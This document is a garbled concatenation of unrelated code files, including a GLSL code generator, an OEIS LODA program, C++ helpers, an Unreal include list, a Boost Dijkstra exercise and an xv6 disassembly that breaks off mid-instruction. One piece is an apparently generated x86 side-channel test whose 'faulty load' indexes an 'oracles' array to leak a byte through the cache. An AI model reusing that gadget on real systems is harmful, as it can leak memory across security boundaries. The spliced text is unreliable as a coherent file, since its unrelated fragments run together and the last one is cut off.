"\t}\n"; if (!false_statement_data.empty()) { code += "\telse\n\t{\n"; code += false_statement_data; code += "\t}\n"; } // Remove consumed blocks to save memory _blocks.erase(condition_block); _blocks.erase(true_statement_block); _blocks.erase(false_statement_block); } id emit_phi(const location &loc, id condition_value, id condition_block, id true_value, id true_statement_block, id false_value, id false_statement_block, const type &type) override { assert(condition_value != 0 && condition_block != 0 && true_value != 0 && true_statement_block != 0 && false_value != 0 && false_statement_block != 0); std::string &code = _blocks.at(_current_block); std::string &true_statement_data = _blocks.at(true_statement_block); std::string &false_statement_data = _blocks.at(false_statement_block); increase_indentation_level(true_statement_data); increase_indentation_level(false_statement_data); const id res = make_id(); code += _blocks.at(condition_block); code += '\t'; write_type(code, type); code += ' ' + id_to_name(res) + ";\n"; write_location(code, loc); code += "\tif (" + id_to_name(condition_value) + ")\n\t{\n"; code += (true_statement_block != condition_block ? true_statement_data : std::string()); code += "\t\t" + id_to_name(res) + " = " + id_to_name(true_value) + ";\n"; code += "\t}\n\telse\n\t{\n"; code += (false_statement_block != condition_block ? false_statement_data : std::string()); code += "\t\t" + id_to_name(res) + " = " + id_to_name(false_value) + ";\n"; code += "\t}\n"; // Remove consumed blocks to save memory _blocks.erase(condition_block); _blocks.erase(true_statement_block); _blocks.erase(false_statement_block); return res; } void emit_loop(const location &loc, id condition_value, id prev_block, id header_block, id condition_block, id loop_block, id continue_block, unsigned int flags) override { assert(prev_block != 0 && header_block != 0 && loop_block != 0 && continue_block != 0); std::string &code = _blocks.at(_current_block); std::string &loop_data = _blocks.at(loop_block); std::string &continue_data = _blocks.at(continue_block); increase_indentation_level(loop_data); increase_indentation_level(loop_data); increase_indentation_level(continue_data); code += _blocks.at(prev_block); std::string attributes; if (flags != 0) { _enable_control_flow_attributes = true; attributes += "#if GL_EXT_control_flow_attributes\n\t[["; if ((flags & 0x1) == 0x1) attributes += "unroll"; if ((flags & 0x3) == 0x3) attributes += ", "; if ((flags & 0x2) == 0x2) attributes += "dont_unroll"; attributes += "]]\n#endif\n"; } // Condition value can be missing in infinite loop constructs like "for (;;)" std::string condition_name = condition_value != 0 ? id_to_name(condition_value) : "true"; if (condition_block == 0) { // Convert the last SSA variable initializer to an assignment statement auto pos_assign = continue_data.rfind(condition_name); auto pos_prev_assign = continue_data.rfind('\t', pos_assign); continue_data.erase(pos_prev_assign + 1, pos_assign - pos_prev_assign - 1); // We need to add the continue block to all "continue" statements as well const std::string continue_id = "__CONTINUE__" + std::to_string(continue_block); for (size_t offset = 0; (offset = loop_data.find(continue_id, offset)) != std::string::npos; offset += continue_data.size()) loop_data.replace(offset, continue_id.size(), continue_data); code += "\tbool " + condition_name + ";\n"; write_location(code, loc); code += attributes; code += '\t'; code += "do\n\t{\n\t\t{\n"; code += loop_data; // Encapsulate loop body into another scope, so not to confuse any local variables with the current iteration variable accessed in the continue block below code += "\t\t}\n"; code += continue_data; code += "\t}\n\twhile (" + condition_name + ");\n"; } else { std::string &condition_data = _blocks.at(condition_block); // If the condition data is just a single line, then it is a simple expression, which we can just put into the loop condition as-is if (std::count(condition_data.begin(), condition_data.end(), '\n') == 1) { // Convert SSA variable initializer back to a condition expression auto pos_assign = condition_data.find('='); condition_data.erase(0, pos_assign + 2); auto pos_semicolon = condition_data.rfind(';'); condition_data.erase(pos_semicolon); condition_name = std::move(condition_data); assert(condition_data.empty()); } else { code += condition_data; increase_indentation_level(condition_data); // Convert the last SSA variable initializer to an assignment statement auto pos_assign = condition_data.rfind(condition_name); auto pos_prev_assign = condition_data.rfind('\t', pos_assign); condition_data.erase(pos_prev_assign + 1, pos_assign - pos_prev_assign - 1); } const std::string continue_id = "__CONTINUE__" + std::to_string(continue_block); for (size_t offset = 0; (offset = loop_data.find(continue_id, offset)) != std::string::npos; offset += continue_data.size()) loop_data.replace(offset, continue_id.size(), continue_data + condition_data); code += attributes; code += '\t'; code += "while (" + condition_name + ")\n\t{\n\t\t{\n"; code += loop_data; code += "\t\t}\n"; code += continue_data; code += condition_data; code += "\t}\n"; _blocks.erase(condition_block); } // Remove consumed blocks to save memory _blocks.erase(prev_block); _blocks.erase(header_block); _blocks.erase(loop_block); _blocks.erase(continue_block); } void emit_switch(const location &loc, id selector_value, id selector_block, id default_label, id default_block, const std::vector<id> &case_literal_and_labels, const std::vector<id> &case_blocks, unsigned int) override { assert(selector_value != 0 && selector_block != 0 && default_label != 0 && default_block != 0); assert(case_blocks.size() == case_literal_and_labels.size() / 2); std::string &code = _blocks.at(_current_block); code += _blocks.at(selector_block); write_location(code, loc); code += "\tswitch (" + id_to_name(selector_value) + ")\n\t{\n"; std::vector<id> labels = case_literal_and_labels; for (size_t i = 0; i < labels.size(); i += 2) { if (labels[i + 1] == 0) continue; // Happens if a case was already handled, see below code += "\tcase " + std::to_string(labels[i]) + ": "; if (labels[i + 1] == default_label) { code += "default: "; default_label = 0; } else { for (size_t k = i + 2; k < labels.size(); k += 2) { if (labels[k + 1] == 0 || labels[k + 1] != labels[i + 1]) continue; code += "case " + std::to_string(labels[k]) + ": "; labels[k + 1] = 0; } } assert(case_blocks[i / 2] != 0); std::string &case_data = _blocks.at(case_blocks[i / 2]); increase_indentation_level(case_data); code += "{\n"; code += case_data; code += "\t}\n"; } if (default_label != 0 && default_block != _current_block) { std::string &default_data = _blocks.at(default_block); increase_indentation_level(default_data); code += "\tdefault: {\n"; code += default_data; code += "\t}\n"; _blocks.erase(default_block); } code += "\t}\n"; // Remove consumed blocks to save memory _blocks.erase(selector_block); for (const id case_block : case_blocks) _blocks.erase(case_block); } id create_block() override { const id res = make_id(); std::string &block = _blocks.emplace(res, std::string()).first->second; // Reserve a decently big enough memory block to avoid frequent reallocations block.reserve(4096); return res; } id set_block(id id) override { _last_block = _current_block; _current_block = id; return _last_block; } void enter_block(id id) override { _current_block = id; } id leave_block_and_kill() override { if (!is_in_block()) return 0; std::string &code = _blocks.at(_current_block); code += "\tdiscard;\n"; const auto &return_type = _functions.back()->return_type; if (!return_type.is_void()) { // Add a return statement to exit functions in case discard is the last control flow statement code += "\treturn "; write_constant(code, return_type, constant()); code += ";\n"; } return set_block(0); } id leave_block_and_return(id value) override { if (!is_in_block()) return 0; // Skip implicit return statement if (!_functions.back()->return_type.is_void() && value == 0) return set_block(0); std::string &code = _blocks.at(_current_block); code += "\treturn"; if (value != 0) code += ' ' + id_to_name(value); code += ";\n"; return set_block(0); } id leave_block_and_switch(id, id) override { if (!is_in_block()) return _last_block; return set_block(0); } id leave_block_and_branch(id target, unsigned int loop_flow) override { if (!is_in_block()) return _last_block; std::string &code = _blocks.at(_current_block); switch (loop_flow) { case 1: code += "\tbreak;\n"; break; case 2: // Keep track of continue target block, so we can insert its code here later code += "__CONTINUE__" + std::to_string(target) + "\tcontinue;\n"; break; } return set_block(0); } id leave_block_and_branch_conditional(id, id, id) override { if (!is_in_block()) return _last_block; return set_block(0); } void leave_function() override { assert(_last_block != 0); _blocks.at(0) += "{\n" + _blocks.at(_last_block) + "}\n"; } }; codegen *reshadefx::create_codegen_glsl(bool vulkan_semantics, bool debug_info, bool uniforms_to_spec_constants, bool enable_16bit_types, bool flip_vert_y) { return new codegen_glsl(vulkan_semantics, debug_info, uniforms_to_spec_constants, enable_16bit_types, flip_vert_y); }
; A112062: Positive integers i for which A112049(i) == 2. ; 3,4,7,8,15,16,19,20,27,28,31,32,39,40,43,44,51,52,55,56,63,64,67,68,75,76,79,80,87,88,91,92,99,100,103,104,111,112,115,116,123,124,127,128,135,136,139,140,147,148,151,152,159,160,163,164,171,172,175,176 mov $1,$0 add $0,1 mov $4,1 lpb $0 trn $0,2 add $1,6 trn $2,$1 add $2,$1 add $4,2 mov $1,$4 mul $1,2 add $1,$3 add $2,2 add $3,$4 trn $4,$2 add $4,$2 trn $4,$1 mov $1,$3 lpe add $4,1 add $1,$4 sub $1,3
#include "PyVarObject.h" #include "../ExtHelpers.h" #include <engextcpp.hpp> #include <string> using namespace std; namespace PyExt::Remote { PyVarObject::PyVarObject(Offset objectAddress, const string& typeName /*= "PyVarObject"*/) : PyObject(objectAddress, typeName) { } auto PyVarObject::size() const -> SSize { auto sizeField = baseField("ob_size"); return utils::readIntegral<SSize>(sizeField); } }
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1dcbb, %r11 nop xor %r9, %r9 mov $0x6162636465666768, %r8 movq %r8, %xmm5 vmovups %ymm5, (%r11) nop nop nop nop nop cmp %rbx, %rbx lea addresses_WC_ht+0x11cbb, %rax nop sub %r12, %r12 movb (%rax), %bl nop nop and %r9, %r9 lea addresses_WC_ht+0x9b3b, %r12 nop inc %r11 mov $0x6162636465666768, %r8 movq %r8, (%r12) nop nop nop nop and $60249, %rax lea addresses_UC_ht+0x943b, %rsi lea addresses_UC_ht+0x483b, %rdi nop nop nop nop lfence mov $77, %rcx rep movsb nop nop xor $57619, %rsi lea addresses_WT_ht+0x1ac3b, %rax nop nop nop nop nop add %rdi, %rdi mov (%rax), %r8w nop nop nop inc %r11 lea addresses_WC_ht+0x1b4ae, %rsi lea addresses_A_ht+0x270b, %rdi nop nop dec %r12 mov $40, %rcx rep movsb add $37269, %rax lea addresses_A_ht+0x99bb, %rsi lea addresses_WC_ht+0x1923b, %rdi nop add %r11, %r11 mov $126, %rcx rep movsw nop nop xor $57279, %r8 lea addresses_UC_ht+0x17ebb, %r12 nop add %rax, %rax mov (%r12), %rcx nop sub %rax, %rax lea addresses_WT_ht+0x8abb, %rcx nop nop nop nop nop sub %rbx, %rbx movb (%rcx), %r8b nop nop nop nop nop and %rax, %rax lea addresses_A_ht+0x52fb, %rsi lea addresses_D_ht+0x305b, %rdi nop add $14679, %r8 mov $29, %rcx rep movsq dec %rcx lea addresses_A_ht+0x23b, %r12 nop sub $10311, %rbx mov $0x6162636465666768, %r8 movq %r8, %xmm3 and $0xffffffffffffffc0, %r12 movntdq %xmm3, (%r12) nop nop inc %r11 lea addresses_normal_ht+0xf63b, %r12 nop nop nop sub $44405, %rbx movl $0x61626364, (%r12) mfence pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r13 push %r14 push %r9 push %rbp push %rcx // Store lea addresses_A+0xf3bd, %r14 nop nop cmp %r10, %r10 mov $0x5152535455565758, %rbp movq %rbp, %xmm7 movups %xmm7, (%r14) nop nop sub $2705, %rcx // Store lea addresses_normal+0x1c3e7, %r9 clflush (%r9) cmp %r13, %r13 mov $0x5152535455565758, %r14 movq %r14, %xmm0 movups %xmm0, (%r9) nop nop nop xor $11141, %rbp // Faulty Load lea addresses_WC+0x11c3b, %r13 nop nop nop sub $39741, %r12 vmovups (%r13), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %r14 lea oracles, %rcx and $0xff, %r14 shlq $12, %r14 mov (%rcx,%r14,1), %r14 pop %rcx pop %rbp pop %r9 pop %r14 pop %r13 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 1}} [Faulty Load] {'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 7}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}} {'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
// This file is automatically generated at compile-time to include some subset of the user-created cpp files. #include "C:/Users/Justin/Documents/Unreal Projects/QuestVRE/Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/VRExpansionFunctionLibrary.cpp" #include "C:/Users/Justin/Documents/Unreal Projects/QuestVRE/Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/VRExpansionPlugin.cpp" #include "C:/Users/Justin/Documents/Unreal Projects/QuestVRE/Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/VRGestureComponent.cpp" #include "C:/Users/Justin/Documents/Unreal Projects/QuestVRE/Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/VRGlobalSettings.cpp" #include "C:/Users/Justin/Documents/Unreal Projects/QuestVRE/Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/VRGripInterface.cpp" #include "C:/Users/Justin/Documents/Unreal Projects/QuestVRE/Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/VRPathFollowingComponent.cpp" #include "C:/Users/Justin/Documents/Unreal Projects/QuestVRE/Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/VRPlayerController.cpp" #include "C:/Users/Justin/Documents/Unreal Projects/QuestVRE/Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/VRRootComponent.cpp" #include "C:/Users/Justin/Documents/Unreal Projects/QuestVRE/Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/VRStereoWidgetComponent.cpp" #include "C:/Users/Justin/Documents/Unreal Projects/QuestVRE/Plugins/VRExpansionPlugin/VRExpansionPlugin/Source/VRExpansionPlugin/Private/VRTrackedParentInterface.cpp"
; ; This file is automatically generated ; ; Do not edit!!! ; ; djm 12/2/2000 ; ; ZSock Lib function: sock_putc XLIB sock_putc LIB no_zsock INCLUDE "#packages.def" INCLUDE "#zsock.def" .sock_putc ld a,r_sock_putc call_pkg(tcp_all) ret nc ; We failed..are we installed? cp rc_pnf scf ;signal error ret nz ;Internal error call_pkg(tcp_ayt) jr nc,sock_putc jp no_zsock
#include "ex5b.h" using namespace boost; void ex5b(int argc, char* argv[]){ std::ifstream file; file.open(argv[1]); if (!file.is_open()) { std::cerr << "there is no file of the name \"" << argv[1] << "\" in the directory" << std::endl; return; } //typedegs for graph and edges typedef adjacency_list < listS, vecS, undirectedS,no_property, property < edge_weight_t, int > > graph_t; typedef graph_traits < graph_t >::vertex_descriptor vertex_descriptor; typedef std::pair<int, int> Edge; clock_t tStart2 = clock(); std::string str; int count = 0; getline(file, str, ' '); const int vertNumb = std::stoi(str); getline(file, str); int arcNumb=std::stoi(str); Edge *edge_array; edge_array = (Edge*)malloc(2097152* sizeof(Edge)); int *weights; weights = (int*)malloc(2097152* sizeof(int)); try { while (!file.eof()) { getline(file, str, ' '); int from = std::stoi(str); getline(file, str, ' '); int to = std::stoi(str); getline(file,str); int dist=std::stoi(str); edge_array[count]=Edge(from,to); weights[count]=dist; count++; } } catch (...) { } std::cout <<"INFORM TIME INITIALIZING GRAPH: "<< (double)(clock() - tStart2) / CLOCKS_PER_SEC << " seconds" << std::endl; graph_t g(edge_array, edge_array + arcNumb, weights, vertNumb); property_map<graph_t, edge_weight_t>::type weightmap = get(edge_weight, g); std::vector<vertex_descriptor> p(num_vertices(g)); std::vector<int> d(num_vertices(g)); vertex_descriptor s = vertex(1, g); dijkstra_shortest_paths(g, s, predecessor_map(boost::make_iterator_property_map(p.begin(), get(boost::vertex_index, g))). distance_map(boost::make_iterator_property_map(d.begin(), get(boost::vertex_index, g)))); int maxdist = 0; int vertex = 0; graph_traits < graph_t >::vertex_iterator vi, vend; for (tie(vi, vend) = vertices(g); vi != vend; ++vi) { if(d[*vi] > maxdist){ maxdist = d[*vi]; vertex = *vi; } } free(edge_array); free(weights); std::cout<< "RESULT VERTEX "<< vertex<<std::endl<<"RESULT DIST "<< maxdist<<std::endl; }
_init: file format elf32-i386 Disassembly of section .text: 00000000 <main>: char *argv[] = { "sh", 0 }; int main(void) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 53 push %ebx e: 51 push %ecx int pid, wpid; if(open("console", O_RDWR) < 0){ f: 83 ec 08 sub $0x8,%esp 12: 6a 02 push $0x2 14: 68 f8 07 00 00 push $0x7f8 19: e8 64 03 00 00 call 382 <open> 1e: 83 c4 10 add $0x10,%esp 21: 85 c0 test %eax,%eax 23: 0f 88 9f 00 00 00 js c8 <main+0xc8> mknod("console", 1, 1); open("console", O_RDWR); } dup(0); // stdout 29: 83 ec 0c sub $0xc,%esp 2c: 6a 00 push $0x0 2e: e8 87 03 00 00 call 3ba <dup> dup(0); // stderr 33: c7 04 24 00 00 00 00 movl $0x0,(%esp) 3a: e8 7b 03 00 00 call 3ba <dup> 3f: 83 c4 10 add $0x10,%esp 42: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(;;){ printf(1, "init: starting sh\n"); 48: 83 ec 08 sub $0x8,%esp 4b: 68 00 08 00 00 push $0x800 50: 6a 01 push $0x1 52: e8 49 04 00 00 call 4a0 <printf> pid = fork(); 57: e8 de 02 00 00 call 33a <fork> if(pid < 0){ 5c: 83 c4 10 add $0x10,%esp 5f: 85 c0 test %eax,%eax pid = fork(); 61: 89 c3 mov %eax,%ebx if(pid < 0){ 63: 78 2c js 91 <main+0x91> printf(1, "init: fork failed\n"); exit(); } if(pid == 0){ 65: 74 3d je a4 <main+0xa4> 67: 89 f6 mov %esi,%esi 69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi exec("sh", argv); printf(1, "init: exec sh failed\n"); exit(); } while((wpid=wait()) >= 0 && wpid != pid) 70: e8 d5 02 00 00 call 34a <wait> 75: 85 c0 test %eax,%eax 77: 78 cf js 48 <main+0x48> 79: 39 c3 cmp %eax,%ebx 7b: 74 cb je 48 <main+0x48> printf(1, "zombie!\n"); 7d: 83 ec 08 sub $0x8,%esp 80: 68 3f 08 00 00 push $0x83f 85: 6a 01 push $0x1 87: e8 14 04 00 00 call 4a0 <printf> 8c: 83 c4 10 add $0x10,%esp 8f: eb df jmp 70 <main+0x70> printf(1, "init: fork failed\n"); 91: 53 push %ebx 92: 53 push %ebx 93: 68 13 08 00 00 push $0x813 98: 6a 01 push $0x1 9a: e8 01 04 00 00 call 4a0 <printf> exit(); 9f: e8 9e 02 00 00 call 342 <exit> exec("sh", argv); a4: 50 push %eax a5: 50 push %eax a6: 68 f8 0a 00 00 push $0xaf8 ab: 68 26 08 00 00 push $0x826 b0: e8 c5 02 00 00 call 37a <exec> printf(1, "init: exec sh failed\n"); b5: 5a pop %edx b6: 59 pop %ecx b7: 68 29 08 00 00 push $0x829 bc: 6a 01 push $0x1 be: e8 dd 03 00 00 call 4a0 <printf> exit(); c3: e8 7a 02 00 00 call 342 <exit> mknod("console", 1, 1); c8: 50 push %eax c9: 6a 01 push $0x1 cb: 6a 01 push $0x1 cd: 68 f8 07 00 00 push $0x7f8 d2: e8 b3 02 00 00 call 38a <mknod> open("console", O_RDWR); d7: 58 pop %eax d8: 5a pop %edx d9: 6a 02 push $0x2 db: 68 f8 07 00 00 push $0x7f8 e0: e8 9d 02 00 00 call 382 <open> e5: 83 c4 10 add $0x10,%esp e8: e9 3c ff ff ff jmp 29 <main+0x29> ed: 66 90 xchg %ax,%ax ef: 90 nop 000000f0 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { f0: 55 push %ebp f1: 89 e5 mov %esp,%ebp f3: 53 push %ebx f4: 8b 45 08 mov 0x8(%ebp),%eax f7: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) fa: 89 c2 mov %eax,%edx fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 100: 83 c1 01 add $0x1,%ecx 103: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 107: 83 c2 01 add $0x1,%edx 10a: 84 db test %bl,%bl 10c: 88 5a ff mov %bl,-0x1(%edx) 10f: 75 ef jne 100 <strcpy+0x10> ; return os; } 111: 5b pop %ebx 112: 5d pop %ebp 113: c3 ret 114: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 11a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000120 <strcmp>: int strcmp(const char *p, const char *q) { 120: 55 push %ebp 121: 89 e5 mov %esp,%ebp 123: 53 push %ebx 124: 8b 55 08 mov 0x8(%ebp),%edx 127: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 12a: 0f b6 02 movzbl (%edx),%eax 12d: 0f b6 19 movzbl (%ecx),%ebx 130: 84 c0 test %al,%al 132: 75 1c jne 150 <strcmp+0x30> 134: eb 2a jmp 160 <strcmp+0x40> 136: 8d 76 00 lea 0x0(%esi),%esi 139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 140: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 143: 0f b6 02 movzbl (%edx),%eax p++, q++; 146: 83 c1 01 add $0x1,%ecx 149: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 14c: 84 c0 test %al,%al 14e: 74 10 je 160 <strcmp+0x40> 150: 38 d8 cmp %bl,%al 152: 74 ec je 140 <strcmp+0x20> return (uchar)*p - (uchar)*q; 154: 29 d8 sub %ebx,%eax } 156: 5b pop %ebx 157: 5d pop %ebp 158: c3 ret 159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 160: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 162: 29 d8 sub %ebx,%eax } 164: 5b pop %ebx 165: 5d pop %ebp 166: c3 ret 167: 89 f6 mov %esi,%esi 169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000170 <strlen>: uint strlen(const char *s) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 176: 80 39 00 cmpb $0x0,(%ecx) 179: 74 15 je 190 <strlen+0x20> 17b: 31 d2 xor %edx,%edx 17d: 8d 76 00 lea 0x0(%esi),%esi 180: 83 c2 01 add $0x1,%edx 183: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 187: 89 d0 mov %edx,%eax 189: 75 f5 jne 180 <strlen+0x10> ; return n; } 18b: 5d pop %ebp 18c: c3 ret 18d: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 190: 31 c0 xor %eax,%eax } 192: 5d pop %ebp 193: c3 ret 194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 19a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000001a0 <memset>: void* memset(void *dst, int c, uint n) { 1a0: 55 push %ebp 1a1: 89 e5 mov %esp,%ebp 1a3: 57 push %edi 1a4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1a7: 8b 4d 10 mov 0x10(%ebp),%ecx 1aa: 8b 45 0c mov 0xc(%ebp),%eax 1ad: 89 d7 mov %edx,%edi 1af: fc cld 1b0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1b2: 89 d0 mov %edx,%eax 1b4: 5f pop %edi 1b5: 5d pop %ebp 1b6: c3 ret 1b7: 89 f6 mov %esi,%esi 1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001c0 <strchr>: char* strchr(const char *s, char c) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 53 push %ebx 1c4: 8b 45 08 mov 0x8(%ebp),%eax 1c7: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 1ca: 0f b6 10 movzbl (%eax),%edx 1cd: 84 d2 test %dl,%dl 1cf: 74 1d je 1ee <strchr+0x2e> if(*s == c) 1d1: 38 d3 cmp %dl,%bl 1d3: 89 d9 